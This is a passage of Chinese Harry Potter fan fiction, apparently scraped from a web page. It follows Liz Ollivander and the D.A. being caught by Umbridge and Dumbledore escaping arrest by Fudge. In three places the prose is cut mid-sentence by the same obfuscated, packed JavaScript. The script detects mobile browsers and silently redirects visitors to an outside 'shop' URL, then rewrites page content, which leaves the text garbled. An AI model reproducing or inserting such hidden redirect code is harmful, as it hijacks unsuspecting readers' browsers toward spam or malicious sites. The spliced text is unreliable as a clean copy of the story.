她有一种被戏耍了的感觉,但又并不生气,她只是突然想起小的时候罗里用一把银勺子喂自己糖浆,然后不熟练地唱着妈妈唱过的童谣哄自己入睡的场景。 直到熟悉的那条猎狼犬闯入她的视线,被回忆感染而变得温和的表情才从塞西尔脸上慢慢消失,她留意了一下四周接着打开了公寓门,莉兹的守护神跟在她后面进了屋内。一进门塞西尔就看到一地的玻璃渣,还有破掉的窗户,一本杂志就这么摊开,上面还有几根猫头鹰的毛,她想着班克这是耍脾气了吗,幸好她离开公寓时总会加上两道驱逐咒,不会有人注意到窗户破裂的声音。 “希望班克有好好完成任务,杂志里的那篇访谈我想你也会感兴趣的,我想更多人都应该感兴趣……” 莉兹的声音借着守护神传出来,塞西尔已经轻轻挥动魔杖收拾完了碎玻璃,在看到封面标题时她便笑了,这确实是大家都感兴趣的事情,也适合在现在这种时候去部里搅一搅浑水,被预言家日报捧上天的康奈利·福吉总要找点正事做。 她将那几页撕下复制成了几份,在隔天上班时随手丢在了飞路网通道还有电梯里,不仅如此,她还加了一层咒语,只要有人伸手拿起它,立刻又会无限复制出另一份。 很快地,还不到上午九点四十,先是嘟囔着“梅林啊”冲进办公室的迪戈里,他面色苍白,似乎被这段专访吓得不轻,儿子牺牲的真相终于被毫无保留地摆到台面上,他内心的愤怒与恐惧交织在一起,让他几乎无法说出完整的句子。 接着是更多的人,他们本就对福吉一直以来模棱两可又回避问题的态度保持怀疑,这些事实简直是在撕开他无能的掌权者外壳,从茶水间到人来人往的走廊通道,一整天都有人在谈论这件事。进展到这个地步,塞西尔觉得自己的把戏起了点作用,无论是选择缄默不表明立场的法律执行司,斯克林杰那副模样更像是在等福吉倒霉,还是义愤填膺喊着谣言不可信的部长秘书室,韦斯莱家那个叫珀西的小子嚷嚷着要严查杂志的主编。 总而言之,她让所有人都看到了,至于选择相信或者不相信,那不是她的目的。 听闻福吉当天在办公室里气得跳脚,派人回收了所有的专访切页,在魔法部入口的喷泉前烧了个精光,唐克斯还说听到他在办公室怒吼,说这全部都是邓布利多的阴谋,他绝不会放过他。 擅长模仿的唐克斯把那副嘴脸学了快十成,要不是金斯莱在边上,她的胆子会再大一点儿,比如直接变成部长,用同样的脸说出同样的台词。一旁的塞西尔扶着椅背笑得前仰后合,手里红茶杯洒了一半,金斯莱不得不提醒她们俩收敛一点。 “所以他真的这么说了吗,要给霍格沃茨来一次大洗牌?”塞西尔低声凑到金斯莱跟前问道。 “你现在知道我忍住不笑出声有多难了,”金斯莱耸了耸肩轻轻推开塞西尔说道,“楼下的会快结束了,你不想在这儿碰见斯克林杰吧。” “确实不想。”塞西尔摇着头放下红茶杯,和唐克斯俩人又笑嘻嘻地说了几句悄悄话,拿过作为掩饰的文件袋走进了电梯。 以往福吉部长的嚷嚷都没什么效果,大家只会把“洗牌”当作是另一个上级说出的笑话来听,不过这一次他的行动力很显然超出了所有人的预期。隔日一早乌姆里奇在霍格沃茨的“战绩”就传到了魔法部,源头又是手握第一手消息的部长秘书室,只是泡茶的功夫,邓布利多阻止乌姆里奇开除学校教授的事情就来到了几层楼之外的神奇动物管理司。 自从乌姆里奇插手霍格沃茨一切事务,并与全体教师和学生们结下梁子起,邓布利多这些日子的不动声色颇有点作壁上观的意味,塞西尔在翻倒巷和海格碰过两次,他说自己可能马上就要被赶出学校了。莉兹实际上也有些摸不透校长的意思,就算她不去报告,波特组织起来的D.A大约也在邓布利多的掌握之中,他一定对所有的事情了如指掌。 否则那日他不会在乌姆里奇将特里劳妮教授赶出城堡时及时赶到,就像一个早就知道会发生什么事的预言家,不仅将停职的教授留在了校内,还带来了另一位随时可以顶上占卜学课教职空缺的代课老师。 好在莉兹在塞西尔的影响下学会了百分百信任等于抛弃好奇心不做提问,她知道自己应该只顾着眼前,至少在草木皆兵的时刻要保住这群同伴。只可惜不顺心的事情似乎总会接踵而来,晚餐时分莉兹离开图书馆前看到赫敏另一张桌旁的正在焦急地翻着背包,她对面的波特和罗恩也在帮忙,他们似乎丢了什么重要的东西。 本想上前询问的莉兹发现角落有两股十分不友善的视线,和尖刺一般戳在自己脊背上,满满的凉意充斥在对方灰蓝色的眼睛里,透过垂下的金色发丝,毫不掩饰进行着窥探,他勾起嘴角一笑,两根手指先是指了指自己的双眼,而后又指向前方他们的方向——我在看着你们。 出于谨慎莉兹一言不发地改道走向了书架,接着把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487885|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用悬浮咒将一本快散架的旧书扔到了马尔福小子的头顶,飘落的书页引得平斯夫人发出一声惊叫,走过去给了他好一顿训斥,等他反应过来时,被监视的三人组和路过的莉兹已经不知所踪了。 “你说名单不见了?” 几个人一路走到中庭的树下,赫敏才开口说发生了什么事。 “我保证上一次集会结束后我就把它收在了包里,毕竟一直贴在黑板上很不安全,”她皱起眉头解释,“上面的契约咒太容易被更改,虽然除了我之外没有人知道那是什么契约。” “说不定就在那屋里贴着呢。”罗恩好像还不能理解赫敏的紧张。 “那就是我们之中有人拿走了。”哈利倒是很快掌握了情况。 “我们要取消今晚的集会……”莉兹心里已经有了人选。 “不行,”赫敏打断她,“要是突然取消会被发现的,就没办法抓到告密的人了,我们今晚要见到所有人,必须每个人都到场。” “不到场的那个人,”哈利接话,“就是叛徒。” 本来还想再劝两句的莉兹犹豫了,既然乌姆里奇乃至福吉(来自塞西尔的回信)已经对波特起了疑心,她在这里供出叛徒进行内部审判则毫无意义。也就是说他们必须被抓到一次,且是以无法被定罪的状态抓到一次,这样乌姆里奇对艾克莫女士的威胁也会同时失去效用,因为玛丽埃塔已经完成了她的告密任务。也许她会因此被这群同伴永远驱逐,但她也因此守住了对妈妈的保护。 她在这个瞬间突然读懂了秋这段时间以来的矛盾心理,莉兹默默在心里对秋又说了一句对不起,她总是会把秋的温柔与担当看作是心软。 这晚的有求必应屋内气氛宛如降到了冰点,连一直在嬉皮笑脸的韦斯莱双胞胎兄弟都意识到了不对劲,他们一前一后站到了莉兹的身后,正要小声提问的时候,墙上的窥镜里出现了几个影子,反应最快的哈利刚让开半步,家养小精灵多比突然出现了,它瞪着圆滚滚的大眼睛,两手敲打着自己的脑袋,额头被砸得通红。 “她发现了!她要来了、她要来了、她要来了……” 它每说一遍就更加用力地打自己一下,那片红看得赫敏的眼泪都要出来了,她连忙走上前用自己的手护住它的头,然后转头看向了莉兹:“她一定折磨了小精灵。” 早已在脑子里把无数种可能性演练上几万次的莉兹举起魔杖指着墙面,一扇门缓缓浮现,众人摸不着头脑之际她又高喊出声:“所有人从最近的通道去拉文克劳休息室,就现在,用最快的速度跑过去!” 一个天塌下来都只会扫一眼说那又如何的人,这一刻竟然也后吼出这样的音量,大家从未见过这幅模样的莉兹,所以连半句疑问也不敢有,扎卡赖斯都乖乖跟在了带路的秋·张身后。他们在头几次的集会上除了确定分组与管理人员,最重要的是确定一个准则,那就是在非常时刻所有人必须无条件相信领头的波特与莉兹。 “还有……”莉兹伸手拉住乔治的袖子,弗雷德也同时停了下来,两个人弯下腰听她的指示。 “拜托你们了。”她说道。 “皮皮鬼会玩得很开心的。”乔治笑着拍了拍她的肩膀跑出门。 莉兹则是开始不紧不慢地挥着魔杖,收起黑板,收起训练用的人偶,收起屋子里所有东西,殿后的波特回过头看向似乎并不准备离开的莉兹问道:“你不走吗?” “我得留下迎接客人们。”莉兹脸上微微有了一丝笑意。 说罢临时开放的小门猛然合上,波特被弹出了老远,而屋子的布局也慢慢发生了变化,一张铺着几卷羊皮纸的长桌出现在中央,地上一摞有一摞的书把莉兹包围住,她摆出休闲的表情坐在了桌前,拿起羽毛笔蘸了点墨水写下来魔药学课要写的论文题目。 砰地一声,大门被踹开,格拉哈姆和马尔福一左一右驾着被施了锁腿咒的哈利,他还是走得太迟了,没能赶得上,不过莉兹见跟在后面的乌姆里奇发丝凌乱,身上还沾了不少脏东西,皮皮鬼不负所托,真棒。 “哟,今天这么热闹吗?” 放下手中的笔,莉兹缓缓昂起头。 98. 谁会相信啊 起初只是一个脓包,然后是成片成片的,铺满了整张脸,稍微用手指一碰便会爆出脓汁,痛得人无法睁开眼睛,玛丽埃塔拿着庞弗雷夫人给的一瓶药剂,绝望地听着对方解释这是咒语导致的,即便是找到施咒人也无法消除这些疤痕。她也不敢流泪,咸咸的泪水会让脓包更加严重,慌忙用丝巾裹住自己的头只露出了两只眼睛,她低着头离开了校医院。 躲避着同学们的视线,玛丽埃塔刚走到拉文克劳休息室门前开口回答了门环的提问,便听到身后有匆匆的脚步声,转身抬头一看,秋正向着这里快步跑来,她身后是D.A的其他人。 “玛丽!”秋喊着她的名字,希望她能撑住休息室的大门不要让它再关上。 可是内心的愧疚与恐惧交织在一起,玛丽埃塔竟然反手带上了门,听着外面秋又一声呼唤,她的心脏在抽痛,她发誓自己真的不是故意的,她没有想过事情会变成这样,她不知道自己能做什么,于是她握紧了手里的魔杖,咬牙对着紧闭的门念起了咒语——这扇门不可以被打开,至少现在不可以被打开。 “玛丽?” 下一秒自己的名字再次被叫出,玛丽埃塔惊慌失措地摔下台阶,竟然连手里的魔杖都掉在了地上,罗杰·戴维斯一步一步走近想要扶起她,而她只能惊叫着捡起魔杖奔上了楼。 不明所以的戴维斯低头调整了一下学生主席的徽章,确认了巡逻的记名册没有忘在寝室,然后伸手推开了门,就在同一时间秋领着一帮学生冲进了拉文克劳休息室,和他直接撞了个满怀,两个人都踉跄了好几步才站稳。 但是戴维斯第一时间不仅没有听见秋的一声对不起,她甚至都没有多看他一眼,只是扶着大门招呼着后面的人赶紧跑进来,看见金妮和安吉丽娜的时候戴维斯觉得尚可接受,因为女孩们总是聚在一起玩。不过当迪安·托马斯和李·乔丹扛着崴到脚踝的扎卡莱斯最后狂奔进门时,戴维斯觉得自己可能掉进了什么可怕的噩梦里。 难道是格兰芬多和赫奇帕奇两个学院的学生事到如今终于决定要联手占领拉文克劳塔楼了吗? “拜托你,就当没有看见过我们。”秋双手合十,对着一旁的他低下头说道,“只有我们的休息室是最难进入的。” “又是莉兹?是吧,又是这个奥利凡德,为什么总是奥利凡德!”戴维斯一想到自己竟这么了解唯一不在场的人,心里简直一阵发毛。 他咂了一下嘴嫌弃地穿过门口这群人,扔下一句:“我才懒得管你们” 话音刚落,他立马攥紧了胸口的主席徽章,冷哼一声走出门开始了晚上的巡逻。 然而被这位嘴硬的学生主席挂在嘴边的闯祸精,此时正扮演着一位油盐不进的厚脸皮,她一直到乌姆里奇踩着高跟鞋踱步到她的面前,才慢悠悠地拉开椅子站起来,倒不是出于对师长的尊敬,她只是不想抬头看她。 “奥利凡德小姐,我想这个时间点不应该有学生在学院休息室之外吧。”乌姆里奇扫了一眼四周,她试图找出一些能够在三秒钟之内给莉兹安上罪名的违禁品,但这里的陈设很显然和她听说过的完全不同。 “是吗,现在几点了?”莉兹平静地应答着,完全不看边上的哈利一眼,仿佛他们并不相熟似的,“七年级学生的宵禁时间一直到十点,我想我不会记错的,您让我抄写过三遍霍格沃茨守则呢。” 整点敲响的钟声给了乌姆里奇新的借口,她可不管莉兹如何能言善道,她只是冷哼了一声:“我瞧这里可不止奥利凡德小姐一个人的样子,而且还是在一间未经申请的教室,我想我现在应该将你带到校长办公室去,让你获得你想要的公正处理。” “看来这是另一个希望得到公正处理的学生了,”莉兹指向动弹不得的哈利,“什么时候级长被允许使用锁腿咒惩罚普通学生了,至于蒙太先生好像并不是学生会成员吧?” 要不是在场的人太多了,乌姆里奇真的希望施一条恶咒让莉兹永远出不了声,她向前走了半步几乎要踩到她的鞋子,尖利的嗓音听得人耳膜刺痛:“身为调查行动组的一员,蒙太先生拥有高于级长的职权,我希望你最好不要再不听话了,如果你能说出同伙们的名字,我会考虑在部长那里替你们说两句好话,超过十七岁的男女巫师应当为自己的行为付出代价。” 最后的一句话根本就是贴着莉兹耳边说的,她忍着不适让开了一段距离,魔法部到底窝囊到了什么程度才会认为威胁一个还没毕业的孩子是有用的,阿兹卡班已经成了什么人都可以被关的地方吗,又不是旅店。 哈利还在挣扎,只是他的嘴巴也被堵上了,还听不清乌姆里奇在和莉兹说什么,他认为是自己连累了她,要是他和赫敏没有说今晚继续集会的话,或者说自己多和莉兹说几句话,多信任她一点,就不至于这一刻在这里猜测彼此的盘算,让莉兹包揽一切。 “哎呀,我们回来的不是时候啊,乔治。” “我还以为这里早就散场了,弗雷德。” 本不应该出现在这里的弗雷德和乔治两人一前一后走进门,皮皮鬼飘在空中,贴着天花板飞得很隐蔽,狼狈的费尔奇还有两个斯莱特林的学生骂骂咧咧跟在后面,他们身上粘着黏液还有大粪蛋的臭味,冲鼻的气味让乌姆里奇失去了忍耐力。 “看来你的同伙回来了,奥利凡德小姐。”乌姆里奇掩住鼻子,斜眼瞥向他们,而后干脆是举起魔杖,扫过三个人的下巴,作为最后的警告,“现在可以走了吗?” 莉兹眼里闪过了一点无奈,她明明提前和这兄弟俩说好了,他们只要闹出点动静让大家能顺利到达拉文克劳公共休息室就好,剩下的事情她自己一个人就能应付。毕竟拿不到组织学生集会的证据,乌姆里奇最多是找个莫须有的罪名强迫她退学罢了,何况邓布利多校长还在霍格沃茨,她认为自己今年对波特的照看值得校长的一点优待。 退一万步,即便没有得到任何优待,现在的她退学回家也不是什么天塌的坏事,她巴不得今天就回店里帮爷爷做完新的一批魔杖。 “我们三人总是一起做坏事的。”弗雷德轻轻碰了一下莉兹的肩膀。 “而且我什么时候听过话了,”乔治凑在她耳边,“你最清楚我们俩了。” 刚说完他们俩便故意撞开了哈利跟前的马尔福和格拉哈姆,正当二人要大吼出声的时候,莉兹已经在魔杖被没收前悄悄给哈利解开了咒语,乔治一把将他拉到身后,弗雷德则是嬉皮笑脸地说着:“反正都是要受罚的,我们抱团一起走不可以吗?” “教授!”马尔福开口要告状。 “好了,我们去校长办公室!”今晚的目的已经达成,乌姆里奇懒得再理睬学生间的打闹,她似乎对莉兹认命的眼神和哈利愤懑的表情十分满意,这简直就是一处自投罗网的好戏,部长会很喜欢的。 见浩浩荡荡一群人穿过走廊,戴维斯疑惑地停住了脚步,慢了半拍的梅根皱起眉,她好像有点看不惯那几个斯莱特林。戴维斯又认出了马尔福手里抓着的四根魔杖里有一根是莉兹的,探头去看走在最后的人,他不禁在心里想:这姑娘就非要把自己折腾到被退学吗? “你为什么没有参加调查行动组?”戴维斯问道,同时把后半句“你不是应该支持魔法部吗”咽回肚子里。 “无聊,”梅根说罢扭头走向另一边,“你想去就报名好了。” “我才不想去!”戴维斯翻了翻眼珠子,在转身前又看了看他们几个人,也许这会是被退学前的最后一眼了。 比邓布利多校长更早一步出现在办公室的是麦格教授还有弗立维教授,难得的是,比起先询问惯犯双胞胎兄弟和波特闯了什么祸,麦格教授先是二话没说夺过了马尔福手里的几根魔杖,然后又卷起几个孩子的袖口仔细查看了手背和胳膊,发现毫发无伤之后才松了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487886|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气。 一旁的弗立维教授眨巴着一双大眼睛,虽说莉兹是个乍一看不惹事的乖学生,但他好歹也和这姑娘打交道这么多年了,对她那执拗的小脾气非常了解。尽管如此,他还是坚持无条件站在自己的学生这边。 没过一会儿,邓布利多和斯内普不紧不慢地走了进来,乌姆里奇立马就开始嚷嚷,大喊着一切罪证都指向了奥利凡德和波特,他们在组织非法的集会。 麦格瞪着在怒吼的乌姆里奇,把几个孩子护到身后,弗立维则是装作和颜悦色地劝着:“我想多洛雷斯你可能是误会了。” “所以你相信他们几个人聚在那儿准备考试?”乌姆里奇见麦格态度强硬,加上她个头瘦高,自己实在沾不到便宜,便低头去质问弗立维。 “怎么了,难道不像吗?”弗雷德抢先反问。 “那地上还有我们的作业呢,哈利的也在。”乔治也探出头紧跟着说道。 插嘴的俩人顺利获得了一旁冷面斯内普的狠狠一瞥,但他却没有阻拦和表态,只是继续听乌姆里奇跟孩子们无理取闹:“你们报名考试了吗!” “报了呀,哈利可是要考OWLs的,我们俩都报了三门,”乔治的解释越来越理直气壮,“至于莉兹,她有六门,四个人一起复习也算违反第二十四条教育令了吗?” “六门?她哪里来的六门资格?”乌姆里奇按顺序看向了在场的斯内普、麦格和弗立维,他们是三门必修课的任课教授。 “那一年的魔药学课OWLs考试,没有记错的话,我只给了两个人O等级,”斯内普慢悠悠地开了口,他的语气依旧冷冰冰的,“一位是在场的奥利凡德小姐,另一位是故去的迪戈里先生。” 言外之意,莉兹·奥利凡德的学业成绩无需被质疑。 不知是因为突然出现的塞德里克的名字,还是因为意识到斯内普居然在帮自己说话,莉兹不自觉和哈利对视了一眼,事情似乎并没有他们想的这么糟糕了。 “请问还有其他的有力证据吗?”微笑着的邓布利多校长眼神里藏着寒冷的意味,他看了看身边的人继续说道,“我想这件小事只需要给拉文克劳和格兰芬多各扣上十五分就足够了,两位院长的意见如何?” “一定是这三个小伙子缠着人家的,”麦格假意拍了拍弗雷德的后背,“格兰芬多应当扣上双倍的分。” 斯内普眉头微微一动,看来很满意这个结果。 “宵禁之后乱跑肯定是不对的,念在莉兹是初犯,我也认为这个处罚很合适。”弗立维附和道。 这下可惹急了以为自己已经抓到了把柄的乌姆里奇,她稍稍有些着急,狡辩说:“你们这是强词夺理,给我等着,我足够可靠的证人可以指认你们……” 她刚想说出玛丽埃塔的名字,没想到帕金森匆匆忙忙从外面跑进来,低声对她报告道:“艾克莫不在校医院里,拉文克劳公共休息室也一直锁着。” “看来是没有这个证人了,那我们今晚应该可以散场了,我想孩子们也都困了吧。”邓布利多依然保持着微笑。 心里悬着的石头总算落下,莉兹把手心的汗在身上蹭了蹭,却没料到安心还不过三秒,她和乔治他们都没走出这扇门,另一声呵斥毁了刚刚恢复平静的局面。 “且慢!” 只见康奈利·福吉大摇大摆走向邓布利多,乌姆里奇的脸上瞬间浮现出谄媚的神情。他的身后跟着趾高气昂的珀西·韦斯莱,身旁是一个带着兜帽的女生,她似乎在抽泣。 啪地一声,福吉将一张写满了名字的羊皮纸狠狠拍在了桌面上,同时珀西也揭开了女生的帽子,那副毁了容的模样让在座所有人都倒吸了一口凉气。 她瞥见了莉兹冷淡的眼神,眼泪再次夺眶而出,玛丽埃塔不敢再看一眼。 接着福吉又走近了几步,他冷笑道:“给我一个解释吧,邓布利多。” 99. 真正的犯人 背叛者。 尽管玛丽埃塔已经涂了许多药剂遮盖那些发紫发红的脓包,但莉兹还是看出了她脸上由脓包拼成的单词,她觉得自己此刻的心情有些复杂,哪怕她们根本称不上是朋友的关系。大约是因为前期早就有过心理准备,实际上莉兹对玛丽埃塔的告密行为毫不吃惊,也正是因为这种不吃惊,才让她更别扭。这意思就好像是,明明自己在最开始就意料到一些事情,但还是任由事情这样发展下去了似的。 她倒不是觉得后悔,毕竟乌姆里奇总会用各种手段给眼中钉们使绊子,或者更严重,毁掉所有不符合魔法部标准的一群学生,这难道不是这粉虫合虫莫来到霍格沃茨最核心的任务吗。 莉兹最讨厌的是自己的理智和那永远不合时宜的拯救者情怀之间的争斗——无所不能的奥利凡德小姐,她也会把这并不含褒义的称号当作是一定真正属于她的帽子,然后在意识到这其实虚伪过头的时候,和干嚼了一把苦百合一般,口中涩得要命。要是能坦率地像波特和韦斯莱兄弟那般,毫不掩饰那份愤怒,要是能看起来没有这么平静,莉兹猜想自己一定会好受许多。 前一秒魔法部长福吉对校长邓布利多的质问似乎没有起到任何效果,两拨人就这样在办公室里面对面站着,没有人走动半步,也没有人说一句话。 莉兹注意到邓布利多脸上原先那点笑意被他刻意放大了,但眼神却冰冷得像这时候的气氛一样,一股莫名寒意从她的脊背爬上来,来自他怀里的那根魔杖。她完全不怀疑,假如乌姆里奇他们想要做些什么,邓布利多会在同一时间撂倒所有人。 沉默的时间已经够久了,福吉清了清嗓子,想给自己再找回一些底气,正巧负责这次抓捕工作的金斯莱和德力士又带着几个学生走了进来。 玛丽埃塔看到了其中一个女生的脸,起初只是默默流泪的她抽泣出声,整个人几乎要喘不上气,本来还抓着她斗篷让她站着别动的珀西露出了嫌弃的表情,后退半步松开了手。 那是秋·张、赫敏·格兰杰还有罗恩·韦斯莱,乌姆里奇立刻在福吉的耳边低语,指着名单上对应的名字,说这里所有的学生都能对上号,包括没有跟来的其他人。 “快瞧瞧啊,邓布利多军,”福吉挺直了腰,肥硕的肚腩变得更突出了,“看来你已经组织了一支军队,迫不及待地要入驻部长办公室了?” 邓布利多不语,只是回应了一声轻笑。 这一指控很显然超出了波特的理解范畴,他那双绿眼睛里盛满了惊讶与内疚,他攥着拳头抬头看向邓布利多教授,莉兹猜得到他想要说什么,所以连忙上前半步摇着头把他推到最后,乔治的反应足够快,和弗雷德兄弟俩两手揽过波特的肩膀,稍用了点力气,稳住在发抖的人。 好在福吉和乌姆里奇的注意力都在微笑着的校长先生身上,福吉瞥了一眼金斯莱身边的三人,又拍了拍珀西的肩膀说:“知道利用拉文克劳公共休息室的门环来掩饰行踪,这确实很聪明,不过那些问题难不倒年轻的韦斯莱,对不对?” 干瘦得像麻秆的珀西和矮胖的福吉站在一块儿,还有他因为这句“夸奖”而得意的神情,本应让乔治和弗雷德觉得滑稽,哪怕是大笑几声都不出奇,可他下一秒朝几个弟弟投去的失望眼神,却只让他们反胃,弗雷德故意背过身干呕了一下。就算是平日里最好说话的罗恩都别过脸去,因为当拉文克劳公共休息室大门被打开的霎那,珀西就已经对着他说出了那句“我对你真失望”。 “是吗,谢谢你的夸奖,”邓布利多终于开了口,他一步一步朝福吉走近,镜片后的眼睛扫了扫趾高气扬的珀西,又看了看咬牙强撑着的几个孩子,“既然是我的指示又怎么会不聪明呢?” “韦斯莱,给我全部记录下来,他承认了一切,承认了自己的恶行!”福吉再次提高了声音,“承认他组织了一个军队,想要推翻魔法部!” “还有名单上的学生,”乌姆里奇趁机插嘴,“我建议对所有成年的学生都进行常规的审判流程,他们已经是成年人了,不是没有教化的孩子,至于波特先生,看来他是邓布利多先生最有力的助手,虽然还没有到年纪……” “不,这全都是我——”哈利还没说完,乔治就立刻抓了一把桌上的太妃糖塞进了他的嘴里。 邓布利多也出声打断:“我明白你们想要维护我的心,事情已经到了这个地步,我不会卑劣到让你们这群学生做我的垫背。” “好啊,好啊,”福吉拍着手,“你们只要有任何人能将全部实情告知魔法部的话,我们会按流程免去你们的审讯,那就先从艾克莫小姐开始,听说你的妈妈帮了多洛雷斯很多忙。” 玛丽埃塔惊恐地摇着头,她已经说不出半个字了,不知道是不是格兰杰又施加了什么咒语,还是她太害怕了。乌姆里奇见她这模样,气不打一出来,抓着她的胳膊前后摇晃着,警告她要是再不开口后果自负。 突然间,乌姆里奇像被烫到手心一样弹开了,她瞪着屋子里其他人,却听到邓布利多说道:“我不允许你这样对待霍格沃茨的学生。” 微笑彻底消失在他的脸上,乌姆里奇还想说些什么,金斯莱又冷着脸说道:“你应该冷静一些,乌姆里奇夫人。” “没错,是我失态了——是的,是的……”乌姆里奇一边深呼吸着,一边揉着自己的胸口。 接着邓布利多抢先开口,刚刚消失的微笑竟然又回来了,莉兹则是眼尖地瞥见了他收回魔杖的手势,并且看到了金斯莱身旁三人趁乱走到了麦格教授身后,这似乎是什么战前准备,教授们要护好自己人,于是莉兹也这样去做了,她在乌姆里奇转过身尝试冷静的时候,拉过了玛丽埃塔,这下站位就清晰了——同伴与敌人。 “为什么要麻烦孩子们呢,是我组织了军队,是我交待了哈利去拜托奥利凡德小姐帮忙,如果不是你们的打扰,他们今晚应当正式进行第一次集会。”邓布利多敲了敲那张名单,“但很显然他们没能成功,所以才会留下一起复习功课,这又有那一条值得让他们站上审判席,你可以分析给我听吗,康奈利?” “你这简直是强词夺理,这绝对不是他们第一次……”才平静了几秒钟的乌姆里奇再次激动起来,“我十月份就上报过了,波特你们在猪头酒吧的那些事情,你们通通都违反了——” “我们违反了哪一条,第二十四条?”哈利费了好半天力气才吐出了嘴里的糖,他挣脱开兄弟俩向前一步反问道。 “若是那一天,我记得第二十四条教育令并没有颁布,”莉兹当然知道乌姆里奇是怎么知道这件事的,班克的伤她还没有找她算帐,“请问我们在猪头酒吧一起吃饭聊天是什么天大的过错,需要去阿兹卡班反省吗?” 乌姆里奇自然没有蠢到会在这里自曝曾经截过学生的信件,只是这两个人一唱一和的态度让她头皮发麻,她话头转向邓布利多:“你难道认为这样不服管教的学生是可以继续留在霍格沃茨的吗,校长先生?” “在我看来,他们和所有学生一样,都应该留在霍格沃茨直到毕业,开除学生是我的权力,我是校长,”邓布利多听起来就像这并没有什么似的,他盯着福吉,“何况用我来换几个孩子,这对你来说不是最优解吗?” 言下之意,你本想针对的不就是我吗。 话都说到这个份上了,福吉觉得他已经得到了他想要的,因此冷冷一哼,给了德力士和金斯莱一个眼神:“那么,就请先去阿兹卡班等待对你的审判吧,邓布利多,霍格沃茨前校长。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487887|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他说又停顿了一下,“还有韦斯莱,以最快的速度将你记录下的一切送到《预言家日报》编辑部,所有人将在明天一早看到伟大的阿不思·邓布利多的罪行!” 接收到命令的珀西迅速复写了一份记录转身出门去找猫头鹰,而以往总是消极怠工的德力士则是一反常态高高举起手里的魔杖,摆出了战斗姿势,金斯莱依然两手交叉站在一侧。就在同一时间,莉兹也摸出了刚刚麦格教授还给她的魔杖,第一个站了出来,她毫不退让地面对着德力士,那双银色的眼里写满了“你不会得逞的”。相似的神情让金斯莱终于明白为什么莱姆斯·卢平会说塞西尔有一个分身在霍格沃茨了。 “哦——康奈利,你可能误解了我的意思,”邓布利多的言语中带上了一些嘲笑的意味,“你认为我会听从你的安排,或者说是束手就擒,那可太浪费我的时间了,我有许多的事情要做,本来的时间都已经不够用了。” “梅林啊,你认为你可以靠一个年轻的奥利凡德就打倒两个魔力高深的傲罗吗?”乌姆里奇斜了一眼莉兹。 “这儿可有两个年轻的韦斯莱呢!”弗雷德也站了出来。 “年轻的格兰杰。”赫敏握紧了魔杖。 “年轻的张。”秋上前拉住了莉兹的手。 “更年轻的韦斯莱。”罗恩站到了两个哥哥的跟前。 “哦,防止您没有注意到,还有一个年轻的波特。”哈利一开口,所有的D.A成员都露出了笑容。 “够了,废话够了!”福吉叫起来,“德力士,沙克尔带走他!” 话音刚落,地面猛地颤抖起来,莉兹和秋两手紧紧相握,互相支撑住彼此,又是一声爆炸,莉兹挥舞着魔杖将碎裂的砖块弹开,灰尘迷了眼,她勉强护住身边的秋,然后向朝她伸出手的乔治跑去,趁此刻乌姆里奇指向莉兹念起了恶咒,而邓布利多的那只凤凰福克斯同时腾空飞起,它绕着办公室转了好几圈,干扰了乌姆里奇的视线,一道恶咒打飞出去,墙上的东西哗啦啦掉了一地。 保持防守的麦格和弗立维被乌姆里奇这一唐突之举惊到,连同正要一言不发将斯莱特林的学生们带走的斯内普,几个人刚要反击时,邓布利多站到了他们跟前。 “所有人都不要动手。”邓布利多提醒道。 接着又是一阵刺眼的白光,扬尘消失了,响声消失了,邓布利多在每个人耳边叮嘱了一些话,尤其是对着哈利,最后他又敲了敲手里的魔杖与莉兹对视了一眼,福克斯朝他飞去,他们就这样一起消失了。 校长办公室成了一片狼藉,墙上挂着的历届校长嘟囔着难听的话,福吉、乌姆里奇、德力士还有金斯莱都晕倒在地。 莉兹睁开眼,把牵着秋的手握得更紧了,又把扶着乔治的另一只手慢慢松开,她虽说尚未缓过神,但已经能冷静地听弗立维教授的吩咐,有那么一个瞬间,她还以为自己的灵魂离开了身体。 她还能能听到赫敏在告诉麦格教授,梅根抢在珀西之前将拉文克劳公共休息室里剩下的学生赶回到了各自的学院,也按规矩给每个人扣了违反宵禁的分数。尽管什么都能听见,一切却听起来那么遥远,但是这可不是发愣的时候,莉兹在心里警告自己,而后走向了角落。 两腿发软站不直的玛丽埃塔抬头看着秋和莉兹,一句对不起被莉兹的眼神又堵回去,她弯下腰,秋便将玛丽埃塔扶到她的背上,三个人一路无言走回寝室。 乔治在走廊这一侧静静看着离开的莉兹,低声说了一句:“看来约定不算数了。” 转头对旁边的弗雷德说:“我们大玩一票就提前退场吧。” “不陪她玩啦?”弗雷德拍了拍他的后背。 “是她不陪我们了。”乔治长舒一口气。 100. 来吧朋友们请吃甜点 